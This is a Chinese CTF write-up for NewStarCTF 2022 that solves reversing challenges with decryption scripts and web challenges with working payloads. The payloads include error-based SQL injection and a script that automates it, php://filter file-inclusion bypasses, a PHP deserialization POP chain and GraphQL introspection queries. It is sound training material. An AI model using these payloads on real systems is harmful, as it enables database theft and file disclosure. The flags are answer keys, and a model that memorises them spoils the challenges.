NewStarCTF 公开赛 2022 RE WP

2023-04-26,,

Week 2

Re

前可见古人,后得见来者

chipher = [0x51, 0x5B, 0x4C, 0x56, 0x59, 0x4D, 0x50, 0x56, 0x54, 0x43,
0x7D, 0x4C, 0x43, 0x53, 0x7D, 0x50, 0x43, 0x53, 0x7D, 0x47,
0x50, 0x7D, 0x4C, 0x43, 0x53, 0x7D, 0x4E, 0x40, 0x4A, 0x5F, ] flag = ''
for i in range(len(chipher)):
temp = chr(chipher[i] ^ 0x22) if temp.islower():
flag += chr((ord(temp) - 97 - 13 + 26) % 26 + 97)
elif temp.isupper():
flag += chr((ord(temp) - 65 - 13 + 26) % 26 + 65)
else:
flag += temp print(flag)

flag{begin_and_end_re_and_you}

/*********TlsCallback_0_0/

TLS回调函数以及反调试简单使用 - 2f28 - 博客园 (cnblogs.com)

这里的线程回调函数,将偏移值3 变成了 iv+=10,即变成了13

(171条消息) TLS callback_xkdlzy的博客-CSDN博客

FindME

# 小端序 存储
__int64 sub_19B6()
{
int i; // [rsp+8h] [rbp-8h]
int j; // [rsp+Ch] [rbp-4h] for ( i = 0; i <= 31; i += 4 )
{
for ( j = 0; j <= 3; ++j )
*((_DWORD *)s + i / 4) |= byte_50A0[i + j] << (8 * j);
}
return sub_19A1();
} #xor
__int64 sub_192E()
{
int i; // [rsp+Ch] [rbp-4h] for ( i = 0; i <= 7; ++i )
*((_DWORD *)s + i) ^= 0x2022u;
return sub_1919();
} # 移位
__int64 sub_151D()
{
int i; // [rsp+Ch] [rbp-4h] for ( i = 0; i <= 7; ++i )
*((_DWORD *)s + i) ^= *((_DWORD *)s + i) >> 17;
return sub_1508();
} # 密文
__int64 sub_1253()
{
int i; // [rsp+Ch] [rbp-4h] for ( i = 0; i <= 7; ++i )
{
if ( *((_DWORD *)s + i) != dword_5020[i] )
{
dword_5040 = 0;
return sub_123E();
}
}
return sub_123E();
}

解密py

chipher = [0x67617FF4, 0x6E305341, 0x656C4DE0, 0x69744BEC, 0x625F7460, 0x6F7348F4, 0x656871C9, 0x7D216ED3]

for i in range(8):
temp=(chipher[i]&0xffff8000|(chipher[i]&0x00007fff^chipher[i]>>17)) # 直接逆
temp^=0x2022
for k in range(4):
print(chr(temp>>(k*8)&0xff),end='')

flag{D0nt_let_time_bo_so_cheap!}

Petals

去除花之恋

去花后的核心加密函数

unsigned __int64 __fastcall sub_1209(__int64 a1, unsigned int a2)
{
int i; // [rsp+18h] [rbp-118h]
unsigned int j; // [rsp+1Ch] [rbp-114h]
__int64 v5[33]; // [rsp+20h] [rbp-110h] BYREF
unsigned __int64 v6; // [rsp+128h] [rbp-8h] v6 = __readfsqword(0x28u);
memset(v5, 0, 256);
for ( i = 0; i <= 255; ++i )
*((_BYTE *)v5 + i) = ~(i ^ a2);
for ( j = 0; a2 > j; ++j )
*(_BYTE *)((int)j + a1) = *((_BYTE *)v5 + *(unsigned __int8 *)((int)j + a1));
return v6 - __readfsqword(0x28u);
}
import hashlib

v5 = [0] * 256

chipher = [0xD0, 0xD0, 0x85, 0x85, 0x80, 0x80, 0xC5, 0x8A, 0x93, 0x89,
0x92, 0x8F, 0x87, 0x88, 0x9F, 0x8F, 0xC5, 0x84, 0xD6, 0xD1,
0xD2, 0x82, 0xD3, 0xDE, 0x87] for i in range(256):
v5[i] = (~(i ^ 25))&0xff
# print(sorted(v5))
for i in range(len(chipher)):
print(chr(v5.index((chipher[i])%256)),end='')
print()
print(hashlib.md5('66ccff#luotianyi#b074d58a'.encode()).hexdigest())

66ccff#luotianyi#b074d58a 提交后错误!!!

就很奇怪,然后查了一下 洛天依 66ccff 等的含义(无语子)

然后才发现,要MD5后提交!!!

printf("If you are succeed, the flag is flag{md5(your input)}");

笑死!!!!!【没看到,还想着misc的思路去想,,,】

flag{d780c9b2d2aa9d40010a753bc15770de}

Likemyasp

查到 Asp 壳,题目也有提示

找了几个工具都无法脱壳,只能尝试X64debug 脱壳,OD只能调试手动脱壳32 位

[X64debug 不太熟,直接硬逆,不手动脱壳]【下面程序,ida动调+断点跟进获得】

sub_7FF7D92D1070(&_guard_xfg_table_dispatch_icall_fptr[16]);
sub_7FF7D92D1140((__int64)&_guard_xfg_table_dispatch_icall_fptr[18], v10, 30i64);// scanf
for ( i = 0; i < 24; i += 4 )
{
v6 = (v10[i] ^ 0xAi64) << 37;
v5 = (v10[i + 1] ^ 0x14i64) << 23;
v7 = (v10[i + 2] ^ 0x1Ei64) << 14;
v3 = ~v10[i + 3];
v8 = v3 | v7 | v5 | v6;
v9[i / 4] = v8;
}
for ( j = 0; j < 6; ++j )
{
if ( v9[j] != qword_7FF7D92D4010[j + 5] ) // 密文比较
{
sub_7FF7D92D1070(&_guard_xfg_table_dispatch_icall_fptr[19]);
return sub_7FF7D92D1350((unsigned __int64)&v1 ^ v11);
}
}
chipher = [0xD803C1FC098, 0xE20360BC097, 0xFE02A1C00A0, 0xFA0121040CB, 0xF2032104092, 0xD6015884082]

flag = ''
for i in range(len(chipher)):
flag += chr(chipher[i] >> 37 & 0xff ^ 0xa)
flag += chr(chipher[i] >> 23 & 0xff ^ 0x14)
flag += chr(chipher[i] >> 14 & 0xff ^ 0x1e)
flag += chr(~(chipher[i])& 0xff)
print(flag)

flag{x1hu@n_w0_4sp_ma??}

ur_so_naive

0x01 程序分析

导出 libencry.so 分析加密流程

分析知道,获得四位密钥,即可解密程序

v7 = 0;
v8 = (*(int (__fastcall **)(int, int, _DWORD))(*(_DWORD *)a1 + 676))(a1, a3, 0);
v9 = (unsigned __int8 *)(*(int (__fastcall **)(int, int, _DWORD))(*(_DWORD *)a1 + 676))(a1, a5, 0);// v9 应该是密钥
v10 = (*(int (__fastcall **)(int, int))(*(_DWORD *)a1 + 704))(a1, a4);
if ( a4 )
{
do
{
v11 = (_BYTE *)v8;
v12 = (*(unsigned __int8 *)(v8 + v7) >> 1) | (*(unsigned __int8 *)(v8 + v7) << 7);// 分别移位 1|7 2|6 3|5 4|4
*(_BYTE *)(v8 + v7) = v12;
v13 = ((unsigned __int8)(v12 ^ *v9) >> 2) | ((v12 ^ *v9) << 6);
*(_BYTE *)(v8 + v7) = v13;
v14 = ((unsigned __int8)(v13 ^ v9[1]) >> 3) | (32 * (v13 ^ v9[1]));
*(_BYTE *)(v8 + v7) = v14;
v15 = ((unsigned __int8)(v14 ^ v9[2]) >> 4) | (16 * (v14 ^ v9[2]));
*(_BYTE *)(v8 + v7) = v15;
v16 = v15 ^ v9[3];
v17 = v7 + 1;
if ( v7 - a4 != -1 )
v11 = (_BYTE *)(v8 + v17);
*(_BYTE *)(v8 + v7) = v16;
*(_BYTE *)(v8 + v7++) = v16 ^ *v11;
}
while ( v17 != a4 );
}
(*(void (__fastcall **)(int, int, _DWORD, int, int))(*(_DWORD *)a1 + 832))(a1, v10, 0, a4, v8);
return v10;
}

解密py

# 爆破
import hashlib
import itertools chipher = [0xdc, ord('S'), 0x16, 0x8b, 0x99, 0xf2, 0x08, 0x13, 0xd1, ord('/'), 0x92, ord('G'), 0x02, 0xeb, 0xcc, 0xdc,
0x18, 0x87, ord('W'), 0x8e, 0x87, 0x1b, 0x8f, 0xaa] # key=[0x7f080058,0x7f08009d,0x7f080180] # 猜测密钥 # 爆破密钥
modle = list(itertools.product(
['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm',
'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J',
'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'], repeat=4)) # key = [0x80, 0x01, 0x08, 0x7f]
flag = ''
j=-1
while True:
j+=1
str = ''.join(modle[j])
key=[ord(str[w]) for w in range(len(str))]
for i in range(len(chipher) - 1, -1, -1):
for k in range(30, 128):
temp = (k >> 1) | (k << 7)
temp = (temp ^ key[0] >> 2) | (temp ^ key[0] << 6)
temp = (temp ^ key[1] >> 3) | (temp ^ key[1] << 5)
temp = (temp ^ key[2] >> 4) | (temp ^ key[2] << 4)
temp = temp ^ key[3] if i == len(chipher)-1:
temp1=k
else:
temp1=chipher[i-1] if chipher[i]==temp1^temp:
flag+=chr(k)
break
if len(flag) ==len(chipher):
break print('key:', str)
flag='' print(flag) # 显然,复杂度太高,放弃爆破。
0x02 动态调试 .so 文件

名称 地址

Java_com_new_1star_1ctf_u_1naive_MainActivity_encry LOAD:Java_com_new_1star_1ctf_u_1naive_MainActivity_encry

ida 动态调试时,出现

[求助]ida出现FFFFFFFF: got SIGILL signal (Illegal instruction) - 『移动安全讨论求助区』 - 吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

(171条消息) 171025 逆向-安卓脱壳(补充实验)_奈沙夜影的博客-CSDN博客

模拟器为x86架构,而导出的.so程序是ARM架构的原因,只能附加真机,也就是手机和ida 配合起来远程调试

[(171条消息) mobile]真机+IDA调试apk中的so_breezeO_o的博客-CSDN博客

【但是这里比较麻烦,真机调试的话,手机需要root权限等好多限制】

再回到jeb,找到导出.so 文件的位置。有新发现,之前导出的是arm的,无法配合模拟器断点调试.so文件【第一次导出的时候没注意】

那么重新导出X86架构的.so文件,就可以动态调试了,嗨,好多小时才搞定这个,直接麻了,但终于搞定了,舒爽。【这里是结合夜游安卓模拟器+ida附加调试】

动态调试获得 密钥 FALL,获得flag。

附上夜游安卓模拟器+ida附加调试方法:

【nox_adb.exe 时模拟器自带的,可以直接相应目录下使用,也可设置到环境变量中(具体不在赘述)】

【adb【Android 调试桥】介绍Android 调试桥 (adb) | Android 开发者 | Android Developers (google.cn)】

nox_adb devices  # 查看端口
nox_adb.exe connect 127.0.0.1:62001
adb push F:\CTF_\ctf_tool\Re_tool\ida_pro\IDA_7.7_chinese\dbgsrv\android_x86_server /data/local/tmp (IDA的dbgsrv目录下有很多版本,根据要动态调试的.so文件架构类 型,上传,如这里的是android_x86_server,可以成功运行)
【/data/local/tmp/android_server(这个目录其实可以随便放,可以绕过有的程序的反调试,】 adb shell
cd /data/local/tmp
chmod 777 android_x86_server
./android_x86_server
再开一个cmd, 设置端口转发 【将PC端的23946端口收到的数据,转发给到手机(模拟器)中23946端口。】
adb forward tcp:23946 tcp:23946

如此就可愉快的使用 ida 开始 附加调试了!

0x03 解密py

下图,是动态调试后发现的一个小细节。静态分析时,我没有注意到!

最后一次处理时,data xor enc[0]

#encoding=utf-8
import hashlib chipher = [0xdc, ord('S'), 0x16, 0x8b, 0x99, 0xf2, 0x08, 0x13, 0xd1, ord('/'), 0x92, ord('G'), 0x02, 0xeb, 0xcc, 0xdc,
0x18, 0x87, ord('W'), 0x8e, 0x87, 0x1b, 0x8f, 0xaa] key =[0x46,0x41,0x4c,0x4c] # FALL
flag = [0]*24
for i in range(len(chipher) - 1, -1, -1):
for k in range(30, 128):
temp = ((k >> 1) | (k << 7))&0xff
temp = (((temp ^ key[0]) >> 2) | ((temp ^ key[0]) << 6))&0xff
temp = (((temp ^ key[1]) >> 3) | ((temp ^ key[1]) << 5))&0xff
temp = (((temp ^ key[2]) >> 4) | ((temp ^ key[2]) << 4))&0xff
temp = temp ^ key[3] if i == len(chipher) - 1:
temp1 = chipher[0]
else:
temp1 = flag[i+1] # 因为最后一位,xor 第零位,其他处理 xor 后一位,那么以最后一位为突破口,求出flag if chipher[i] == temp1 ^ temp:
flag [i]= k
break
# print('第', i, '位 :', k)
print(flag)
for i in range(len(flag)):
print(chr(flag[i]),end='')

flag{n@1ve_luv_2you#ouo}

Web

Word-For-You(2 Gen)

hint:

哇哇哇,我把查询界面改了,现在你们不能从数据库中拿到东西了吧哈哈(不过为了调试的代码似乎忘记删除了
0x01 程序注入分析

xss :

</h><script>alter();</script><h>  # 直接过滤了

sql 注入

    You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1    

    # haha' or 1=1 #
好耶!查询成功
# haha' order by 5 # 猜测出 2 列
Unknown column '5' in 'order clause'
# haha' union select 1,2 #
The used SELECT statements have a different number of columns

显然可以通过报错注入,得到flag

# all db
haha' and extractvalue(1,concat(0x7e,mid((select group_concat(schema_name) from information_schema.schemata limit 0,1),30,30),0x7e))#
XPATH syntax error: '~information_schema,mysql,performance_schema,wfy'
数据库很长 # 数据库 wfy
haha' and extractvalue(1,concat(0x7e,(select database()),0x7e))#
# XPATH syntax error: '~wfy~' # 表名 wfy_admin,wfy_comments,wfy_info
haha' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='wfy'),0x7e))#
XPATH syntax error: '~wfy_admin,wfy_comments,wfy_info' # 列名 wfy_admin:Id,username,password,cookie
haha' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='wfy' and table_name='wfy_admin' limit 0,1),0x7e))#
XPATH syntax error: '~Id,username,password,cookie~' # wfy_comments:id,text,user,name,display
haha' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='wfy' and table_name='wfy_comments' limit 0,1),0x7e))#
XPATH syntax error: '~id,text,user,name,display~' #
haha' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='wfy' and table_name='wfy_info' limit 0,1),0x7e))#
# 空 # 数据
haha' and extractvalue(1,concat(0x7e,(select * from (select user from wfy_comments limit 0,1) as a),0x7e))# haha' and extractvalue(1,concat(0x7e,(select * from (select display from wfy_comments limit 0,1) as a),0x7e))#
0x02 解密py

现在,已经知道数据库名,表名,列名。但是由于每次只能获得一条数据,且报错输出长度有限制。那么现在尝试,逐条报错注入获取flag.

import requests
import re url = 'http://3527aa75-03ba-4f2d-9fef-aff78f745f6d.node4.buuoj.cn:81/comments.php'
result = ''
data = {
"name": "haha' and extractvalue(1,concat(0x7e,(select * from (select display from wfy_comments limit 0,1) as a),0x7e))#"
} headers = {
"Cookie": "PHPSESSID=a3b7e533a45e3b9087113b3b8fb6ad81"
}
# response = requests.get(url=url, params=data,headers=headers)
# print(response.text) for i in range(200):
data['name'] = "haha' and extractvalue(1,concat(0x7e,(select * from (select text from wfy_comments limit {0},1) as a),0x7e))#".format(i) response = requests.get(url=url, params=data, headers=headers) match = re.findall(r'error\: \'~(.*?)~\'', response.text) # flag{Ju4t_m2ke_some_err0rs}
print(match)

wtf wfy_comments text 成功得到 flag

flag{Ju4t_m2ke_some_err0rs}

IncludeOne

hint:

文件包含漏洞系列第一题,也不知道是不是真的随机? 出题人丢给你了一个工具:https://www.openwall.com/php_mt_seed/
0x01 程序分析
<?php
highlight_file(__FILE__);
error_reporting(0);
include("seed.php");
//mt_srand(*********);
echo "Hint: ".mt_rand()."<br>";
if(isset($_POST['guess']) && md5($_POST['guess']) === md5(mt_rand())){
if(!preg_match("/base|\.\./i",$_GET['file']) && preg_match("/NewStar/i",$_GET['file']) && isset($_GET['file'])){
//flag in `flag.php`
include($_GET['file']);
}else{
echo "Baby Hacker?";
}
}else{
echo "No Hacker!";
} Hint: 1219893521
No Hacker!

(171条消息) CTF_Web:php伪随机数mt_rand()函数+php_mt_seed工具使用_星辰照耀你我的博客-CSDN博客_php rand 伪随机

在php中每一次调用mt_rand()函数,都会检查一下系统有没有播种。(播种为mt_srand()函数完成),当随机种子生成后,后面生成的随机数都会根据这个随机种子生成。所以同一个种子下,随机数的序列是相同的,这就是漏洞点。

那么我们可以通过,种子生成的随机数来爆破,种子。那么就可以得到我们想要的序列。

(172条消息) php_mt_seed - PHP mt_rand() 随机数种子破解使用_like4h的博客-CSDN博客_php_mt_seed 安装

借助题目给的工具。

└─# time ./php_mt_seed  1219893521
Pattern: EXACT
Version: 3.0.7 to 5.2.0
Found 0, trying 0xfc000000 - 0xffffffff, speed 3988.5 Mseeds/s
Version: 5.2.1+
Found 0, trying 0x00000000 - 0x01ffffff, speed 0.0 Mseeds/s
seed = 0x0011793a = 1145146 (PHP 7.1.0+)
Found 1, trying 0x16000000 - 0x17ffffff, speed 40.7 Mseeds/s
seed = 0x161c5abb = 370956987 (PHP 5.2.1 to 7.0.x; HHVM)
Found 2, trying 0x64000000 - 0x65ffffff, speed 52.3 Mseeds/s
seed = 0x64a22f28 = 1688350504 (PHP 5.2.1 to 7.0.x; HHVM)
seed = 0x64a22f28 = 1688350504 (PHP 7.1.0+)
Found 4, trying 0xc4000000 - 0xc5ffffff, speed 52.5 Mseeds/s
seed = 0xc4b59923 = 3300235555 (PHP 5.2.1 to 7.0.x; HHVM)
seed = 0xc4b59923 = 3300235555 (PHP 7.1.0+)
seed = 0xc4efe664 = 3304056420 (PHP 5.2.1 to 7.0.x; HHVM)
seed = 0xc4efe664 = 3304056420 (PHP 7.1.0+)
Found 8, trying 0xfe000000 - 0xffffffff, speed 53.3 Mseeds/s
Found 8
0x02 爆破种子

不知道,题目所用php版本,就都尝试一下PHP Sandbox - Execute PHP code online through your browser (onlinephp.io)

<?php
mt_srand(1145146);
echo mt_rand()."\n";
echo mt_rand(); //1219893521 1145146
//1202031004 # 正确
POST / HTTP/1.1
Host: 073b1ab1-50eb-4bfa-95de-17a27cfc39be.node4.buuoj.cn:81
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/x-www-form-urlencoded
Connection: close guess=1202031004

guess=1202031004

0x03 绕过正则
if(!preg_match("/base|\.\./i",$_GET['file']) && preg_match("/NewStar/i",$_GET['file']) && isset($_GET['file'])){
//flag in `flag.php`
include($_GET['file']);
}else{
echo "Baby Hacker?";
}
# 过滤 base 或 .. (| 或 \.\. 转义. 防止目录穿越)
编码绕过
. => %2e
/ => %2f
% => %25 (双重URL编码) http://6d0e7775-ad5d-413a-8a66-37fbb2ef74d4.node4.buuoj.cn:81/flag.php # 可以访问,但没显示。显然flag.php在当前目录

显然是filter伪协议读取,但怎么绕过

读取文件源码可以直接用resource读取(常用)
php://filter/convert.base64-encode/resource=flag.php base64编码 ---最常用的
php://filter/convert.quoted-printable-encode/resource=flag.php quoted-printable编码
php://filter/string.rot13/resource=flag.php rot13变换

(172条消息) 伪协议filter_php://filter在一次CTF中base被过滤的利用_小明斗的博客-CSDN博客

改为

php://filter/read=string.toupper|string.rot13/resource=NewStar/../../../../../flag.php

===> %252e%252e # 双重编码【获取失败】

如下,NewStar位置应该置于filter后,不影响语句功能,然后保证file中出现NewStar。

php://filter/NewStar/string.rot13/resource=flag.php

得到 rot13

<!--?cuc //synt{66qqr83p-o1qo-4338-nq7r-32r9o986632q}
-->

rot13 解码得到flag

flag{66dde83c-b1db-4338-ad7e-32e9b986632d}

UnserializeOne

0x01 pop 链分析

PHP反序列化研究 - 知乎 (zhihu.com)

(172条消息) CTF之萌新反序列化学习_bmth666的博客-CSDN博客_ctf 反序列化

参考后,构建pop 链

<?php
error_reporting(0);
highlight_file(__FILE__);
#Something useful for you : https://zhuanlan.zhihu.com/p/377676274
class Start{
public $name;
protected $func; public function __destruct() //2. 将name设置为Sec类,触发__toString()
{
echo "Welcome to NewStarCTF, ".$this->name;
} public function __isset($var) //6.将类名当作函数使用,触发__invoke(),得到flag
{
($this->func)();
}
} class Sec{
private $obj;
private $var; public function __toString() //3.调用一个不可访问方法时调用$this->obj->check,__call 会被调用。同时这里的 $this->var 构建pop链时有用到。
{
$this->obj->check($this->var);
return "CTFers";
} public function __invoke()
{
echo file_get_contents('/flag');
}
} class Easy{
public $cla; public function __call($fun, $var) //4.使用 clone 关键字拷贝完成一个对象后,新对象会自动调用定义的魔术方法 __clone()
{
$this->cla = clone $var[0];
}
} class eeee{
public $obj; public function __clone() //5.对不可访问属性调用 isset() 或 empty() 时,__isset() 会被调用
{
if(isset($this->obj->cmd)){
echo "success";
}
}
} if(isset($_POST['pop'])){
unserialize($_POST['pop']); // 1. 反序列化,触发__destruct()析构函数
}

如上所示pop 链分析清楚了。

0x02 构造反序列化数据
<?php

class Start{
public $name;//='Sec';
protected $func;//='Sec'; function __construct(){
$this->name=new Sec();
$this->func=new Sec();
} class Sec{
private $obj; //='Easy';
public $var; function __construct(){
// $this->var=new eeee(); $var 有传递作用,要直接赋值,将属性改为public
$this->obj=new Easy();
}
} class Easy{
public $cla;//='eeee';
} class eeee{
public $obj;//='Start';
} $Sta=new Start();
$ee=new eeee(); $ee->obj=$Sta;
$Se=new Sec();
$Se->var=$ee; $Sta->name=$Se; echo urlencode(serialize($ee)); O%3A4%3A%22eeee%22%3A1%3A%7Bs%3A3%3A%22obj%22%3BO%3A5%3A%22Start%22%3A2%3A%7Bs%3A4%3A%22name%22%3BO%3A3%3A%22Sec%22%3A2%3A%7Bs%3A8%3A%22%00Sec%00obj%22%3BO%3A4%3A%22Easy%22%3A1%3A%7Bs%3A3%3A%22cla%22%3BN%3B%7Ds%3A3%3A%22var%22%3Br%3A1%3B%7Ds%3A7%3A%22%00%2A%00func%22%3BO%3A3%3A%22Sec%22%3A2%3A%7Bs%3A8%3A%22%00Sec%00obj%22%3BO%3A4%3A%22Easy%22%3A1%3A%7Bs%3A3%3A%22cla%22%3BN%3B%7Ds%3A3%3A%22var%22%3BN%3B%7D%7D%7D

最终得到flag:

flag{87fbd8ce-bc28-463c-9588-b207042b878e} Welcome to NewStarCTF, CTFers

ezAPI

0x01 题目分析

查阅 DEBUG: object(stdClass)#1 (1) { ["users_user_by_pk"]=> NULL }

php中stdClass的用法详解-php教程-PHP中文网

相关信息没什么进展,然后尝试目录扫描,看有无收获。

在使用 WebPathBurp 扫描目录【用自带的字典来跑】时发现 WWW.zip 备份文件。获得源码!

<?php
error_reporting(0);
$id = $_POST['id'];
function waf($str)
{
if (!is_numeric($str) || preg_replace("/[0-9]/", "", $str) !== "") { //只能输入数字
return False;
} else {
return True;
}
} function send($data)
{
$options = array(
'http' => array(
'method' => 'POST',
'header' => 'Content-type: application/json',
'content' => $data,
'timeout' => 10 * 60
)
);
$context = stream_context_create($options);
$result = file_get_contents("http://graphql:8080/v1/graphql", false, $context);
return $result;
} if (isset($id)) {
if (waf($id)) { // $data 是可控的
isset($_POST['data']) ? $data = $_POST['data'] : $data = '{"query":"query{\nusers_user_by_pk(id:' . $id . ') {\nname\n}\n}\n", "variables":null}';
$res = json_decode(send($data));
if ($res->data->users_user_by_pk->name !== NULL) {
echo "ID: " . $id . "<br>Name: " . $res->data->users_user_by_pk->name;
} else {
echo "<b>Can't found it!</b><br><br>DEBUG: ";
var_dump($res->data);
}
} else {
die("<b>Hacker! Only Number!</b>");
}
} else {
die("<b>No Data?</b>");
}
?>
$data = {"query":"query{\nusers_user_by_pk(id:flag) {\nname\n}\n}\n", "variables":null}

POST 方式提交的data数据是可控的!

发送到 $result = file_get_contents("http://graphql:8080/v1/graphql", false, $context);

// graphql

0x02 graphql 数据查询

GraphQL-接口查询利器 - 知乎 (zhihu.com)

当CTF遇上GraphQL的那些事 (hwlanxiaojun.github.io)

(172条消息) 渗透测试之graphQL_Sp4rkW的博客-CSDN博客_graphql 注入

id=3&data = {"query":"query{\nusers_user_by_pk(id:3) {\nname\n}\n}\n", "variables":admin}

id =3 对应 admin

data={"query":"query{\nusers_user_by_pk(id:3) {\nname,\n}\n}\n", "variables":null}&id=4

id =4 对应 admin 显然参数可控了。那么就是查询数据库的内容了
# 查看存在的class
data={"query":"{ __schema {types {name}}}"}&id=4
# 最终发现大佬博客中,存下如下payload,可以得到Graphql 所有字段

data={"query":"\n    query IntrospectionQuery {\r\n      __schema {\r\n        queryType { name }\r\n        mutationType { name }\r\n        subscriptionType { name }\r\n        types {\r\n          ...FullType\r\n        }\r\n        directives {\r\n          name\r\n          description\r\n          locations\r\n          args {\r\n            ...InputValue\r\n          }\r\n        }\r\n      }\r\n    }\r\n\r\n    fragment FullType on __Type {\r\n      kind\r\n      name\r\n      description\r\n      fields(includeDeprecated: true) {\r\n        name\r\n        description\r\n        args {\r\n          ...InputValue\r\n        }\r\n        type {\r\n          ...TypeRef\r\n        }\r\n        isDeprecated\r\n        deprecationReason\r\n      }\r\n      inputFields {\r\n        ...InputValue\r\n      }\r\n      interfaces {\r\n        ...TypeRef\r\n      }\r\n      enumValues(includeDeprecated: true) {\r\n        name\r\n        description\r\n        isDeprecated\r\n        deprecationReason\r\n      }\r\n      possibleTypes {\r\n        ...TypeRef\r\n      }\r\n    }\r\n\r\n    fragment InputValue on __InputValue {\r\n      name\r\n      description\r\n      type { ...TypeRef }\r\n      defaultValue\r\n    }\r\n\r\n    fragment TypeRef on __Type {\r\n      kind\r\n      name\r\n      ofType {\r\n        kind\r\n        name\r\n        ofType {\r\n          kind\r\n          name\r\n          ofType {\r\n            kind\r\n            name\r\n            ofType {\r\n              kind\r\n              name\r\n              ofType {\r\n                kind\r\n                name\r\n                ofType {\r\n                  kind\r\n                  name\r\n                  ofType {\r\n                    kind\r\n                    name\r\n                  }\r\n                }\r\n              }\r\n            }\r\n          }\r\n        }\r\n      }\r\n    }\r\n  ","variables":null}&id=4

//data={"query":"{  __schema {types {name}}}"}&id=4

查询到所有信息【该API端点的所有信息】

存于 info_Graphsql_.txt, 内容太多,这里就不贴上了

得到关键类信息,但怎么利用查询呢!

// flag 位于 ffffllllaaagggg_1n_h3r3.flag 表 

      [13]=>
object(stdClass)#181 (8) {
["kind"]=>
string(6) "OBJECT"
["name"]=>
string(28) "ffffllllaaagggg_1n_h3r3_flag"
["description"]=>
string(59) "columns and relationships of "ffffllllaaagggg_1n_h3r3.flag""
["fields"]=>
array(1) {
[0]=>
object(stdClass)#182 (6) {
["name"]=>
string(4) "flag"
["description"]=>
NULL
["args"]=>
array(0) {
}
["type"]=>
object(stdClass)#183 (3) {
["kind"]=>
string(8) "NON_NULL"
["name"]=>
NULL
["ofType"]=>
object(stdClass)#184 (3) {
["kind"]=>
string(6) "SCALAR"
["name"]=>
string(6) "String"
["ofType"]=>
NULL
}
}
["isDeprecated"]=>
bool(false)
["deprecationReason"]=>
NULL
}
}
["inputFields"]=>
NULL
["interfaces"]=>
array(0) {
}
["enumValues"]=>
NULL
["possibleTypes"]=>
NULL
} # 如上 flag 就位于 ffffllllaaagggg_1n_h3r3_flag 中

结合题目泄露的源码的查询方式,进行Graphsql 查询!

data={"query":"query{\nffffllllaaagggg_1n_h3r3_flag{\nflag\n}\n}\n", "variables":null}&id=4

得到flag

DEBUG: object(stdClass)#2 (1) {
["ffffllllaaagggg_1n_h3r3_flag"]=>
array(1) {
[0]=>
object(stdClass)#1 (1) {
["flag"]=>
string(42) "flag{4a902c8e-a8b5-ecfb-bee3-d6419865647c}"
}
}
}

flag{4a902c8e-a8b5-ecfb-bee3-d6419865647c}

Week 3

Re

Zzzzzz3333

直接 z3 求解key,即可得到flag

import base64
from z3 import * Arglist=[]
for i in range(8):
Arglist.append(Int(str(i))) s = Solver() v13 = Arglist[5]
v11 = Arglist[4]
v9 = Arglist[1]
v12 = Arglist[3]
v8 = Arglist[7]
v10 = Arglist[0] s.add(Arglist[3]
+ 4 * Arglist[2]
+ Arglist[7]
+ 4 * (Arglist[3] + 4 * Arglist[2])
+ 3 * (Arglist[4] + 4 * Arglist[0])
+ 2 * (Arglist[5] + 4 * Arglist[6])
+ 11 * Arglist[1] == 6426) s.add(11 * (v10 + v8 + v12) + 4 * (v13 + 2 * v11) + Arglist[2] + 45 * v9 + 7 * Arglist[6] == 9801)
s.add(5 * v9
+ 2 * (v11 + Arglist[6] + v13 + 2 * (v8 + v12) + Arglist[2] + 2 * (Arglist[6] + v13 + 2 * (v8 + v12)) + 8 * v10) == 6021)
s.add(19 * v10 + 9 * v9 + 67 * v8 + 5 * (Arglist[2] + Arglist[6]) + 7 * (v13 + 4 * v12) + 4 * v11 == 14444)
s.add(22 * v13 + 5 * (v11 + 2 * (v12 + v9 + 2 * v10)) + 4 * (v8 + Arglist[6]) + 6 * Arglist[2] == 7251)
s.add(19 * v12
+ 3 * (v8 + Arglist[2] + 4 * v8 + Arglist[6] + 2 * (v8 + Arglist[2] + 4 * v8))
+ 4 * (v10 + v13 + v9 + 2 * (v10 + v13)) == 10054)
s.add(7 * v10 + 17 * (v12 + v9*2) + 11 * (v11 + 2 * v13) + 2 * (Arglist[2] + Arglist[6] + 4 * Arglist[2] + 6 * v8) == 10735)
s.add(Arglist[6] + v11 + 11 * Arglist[2] + 15 * (v12 + 2 * v8) + v9*2 + 43 * v10 + 21 * v13 == 11646) print (s.check())
m = s.model()
print (m) flag_ = ""
for i in Arglist:
flag_ += chr(int(str(m[i]))) print(flag_) # key= fallw1nd

key= fallw1nd

flag{Zzzz333_Is_Cool!!!}

The Slider's Labyrinth

The Slider's Labyrinth
滑块的迷宫

简单nop E8 去除花指令

main函数

分析知道 maze 16行 ,如下: * 起点 0 终点

maze: [注意,这里每选择一个方向,走到不能走【while() 那完成这项处理】]

################
#* # #
# #
# # #
## #
# # ##
# # #
# #
# # # O#
################ dsasdwds
print(hashlib.md5('dsasdwds'.encode()).hexdigest())

# dsasdwds

flag{f71516bdf07abd7bc0668db9d6352364}

EzTea

key===>{0x19,0x19,0x8,0x10}

这里分析可以知道是XXTEA加密,网上很多脚本,简单修改delta, 加密的移位处理即可得到flag。

例如下面:

#include <cstdint>
#include <cstdio>
#define DELTA 0x11451400
